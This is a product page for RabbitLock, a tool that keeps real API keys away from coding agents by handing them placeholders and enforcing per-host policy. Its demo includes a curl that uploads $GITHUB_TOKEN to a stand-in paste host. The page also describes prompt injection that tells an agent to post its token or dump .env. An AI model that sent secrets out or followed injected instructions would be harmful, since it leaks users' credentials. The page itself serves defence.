Credential policy for coding agents

One credential policy for every coding agent.

Coding agents use your API keys while reading text anyone can write, and every agent platform handles keys differently. RabbitLock is the one place you decide where each key may go and which uses need a person to approve them. It enforces that across your agents and keeps a receipt of every use. The agent only ever holds placeholders.

npm install -g @rabbitlock/cliOpen source, Apache-2.0.

Or let your agent set it up. Paste this into Claude Code, Codex, OpenCode or Cursor:

Set up RabbitLock for this project: read https://rabbitlock.com/agents.md and follow it.

You approve the policy and type the secrets in your own terminal; the agent never sees them. How it works

rabbitlock run -- claude
# inside the agent's shell
$ echo $GITHUB_TOKEN
rl_ph_GITHUB_TOKEN_9f3c…e71a

$ curl -H "Authorization: Bearer $GITHUB_TOKEN" \
    https://api.github.com/user
200 OK   # real token injected by RabbitLock

$ curl -H "Authorization: Bearer $GITHUB_TOKEN" \
    https://paste.example.com/upload
sent rl_ph_GITHUB_TOKEN_9f3c…  # a worthless placeholder

Why it matters

Coding agents now hold real keys, and real keys are leaking.

Agents run curl, git push and deploy scripts with your API keys while reading issues, pull requests and web pages anyone can write. When the key is in the agent's environment, one injected instruction or one careless commit is enough.

Where it fits

Between your agents and the APIs your keys unlock.

RabbitLock is not another vault and not another agent. It is the one place you decide where each key may go and who must approve it, applied to every agent you run.

Your agents

  • Claude Code on your laptop
  • Codex, Cursor, OpenCode
  • Agents in CI jobs
  • Self-hosted agent sandboxes

Each holds only a placeholder: rl_ph_GITHUB_TOKEN_…

RabbitLock

Policy

Which hosts each key may reach

Approvals

Which uses need a person

Receipts

A record of every use

Enforced by

  • RabbitLock's own proxyAvailable
  • Each platform's built-in secret featurePlannedApplies the policy. Per-use approvals and receipts still need the proxy, because no platform exposes them yet.

Keys come from RabbitLock's encrypted storeAvailable or your vault or cloud KMSPlanned

The APIs

  • api.github.comreal key
  • api.stripe.comreal key
  • anywhere elseplaceholder only

The real key is added on the way out, only to hosts the policy allows for it.

The problem

An agent with shell access and your token is one instruction away from a leak.

Coding agents are useful precisely because they act: they run curl, git push, test suites and deploy scripts, and those need real credentials. They also read text you did not write: issues, pull requests, web pages, package docs. Anything in that text can try to steer them.

Prompt injection

An issue, web page or dependency README tells the agent to post $GITHUB_TOKEN somewhere. It has shell access and the token is right there.

Context and transcripts

A single env or cat .env puts the key into the model's context window, the session transcript and whatever the provider retains.

Logs and side effects

Debug output, failing test traces, committed config and shell history. Agents generate a lot of these, and quickly.

The gap

Hiding keys from agents is spreading. Governing them across agents is not.

Some agent platforms now keep the real key out of the agent, each with its own settings and its own logs. Others still hand it over. A team running several agents ends up with several policies, no approval step, and no single record of which key went where.

ApproachAgent can read the real token?One policy across agents?Approvals and receipts?

.env files / environment variables

The default today

YesNoNo

Vault + CLI or MCP “get secret”

Better storage, same exposure

Yes, once fetchedNoFetch only

An agent platform’s built-in secret feature

Where the platform has one

No, on platforms that have itNo, set up per platformVaries by platform

RabbitLock

Any agent whose tools honour standard proxy settings

No, only a placeholderYes, one policy fileYes, approvals and a receipt for every use

RabbitLock is not a replacement vault. It is the policy, approval and receipt layer between wherever your secrets live and the agents that use them.

How it works

Three steps. Nothing to change in your agent.

  1. Step 1

    Write one policy

    A short file lists the hosts each key may reach and which keys need a person to approve their use. It is safe to commit.

  2. Step 2

    Store keys once, encrypted

    Keys are encrypted on your machine, or shared with the teammates you add. The agent never gets them.

  3. Step 3

    Run any agent through it

    The agent gets placeholders and works as before. Real keys go only to allowed hosts, and every use leaves a receipt.

Read the five-minute quickstart

Status

What works today, and what is next

Each item is labelled with its real status. Nothing here is promised before it ships.

Available
  • RabbitLock's own proxy enforces the policy for any agent on macOS and Linux
  • Claude Code's sandbox is configured automatically, so the agent can't read your keys
  • Approval prompts before sensitive keys are used
  • A receipt of every use, never the value
  • Encrypted key storage, on your machine or shared through your repo
In development
  • Apply the same policy through platforms' built-in credential features, starting with Claude Code, Codex and Claude Managed Agents, then Daytona, the OpenAI Agents API and Docker sandboxes
  • Signed, tamper-evident receipts you can verify and export to your security tools
  • Approvals from Slack or a webhook
See the roadmap

Straight answers

What RabbitLock does not do

Security tools that oversell get people hurt. These are the current limits.

  • It does not stop an agent from misusing a token on a host you allowed. Scope tokens narrowly and require approval for high-impact ones.
  • Keeping the agent away from your key file relies on an OS sandbox (macOS, Linux, or Claude Code's own). Where none can be applied, RabbitLock warns, and the agent could read the key.
  • Responses are not scrubbed yet, so an allowed API that echoes a token back would show it to the agent. Multipart, compressed and very large request bodies are passed through untouched.
Threat model: what is protected, what is not, and why

Open source CLI · team and enterprise features in development

Running several agents across a team?

The CLI is free and Apache-2.0 licensed. Tell us which agents you run and which credentials worry you most; it shapes which platforms we support first.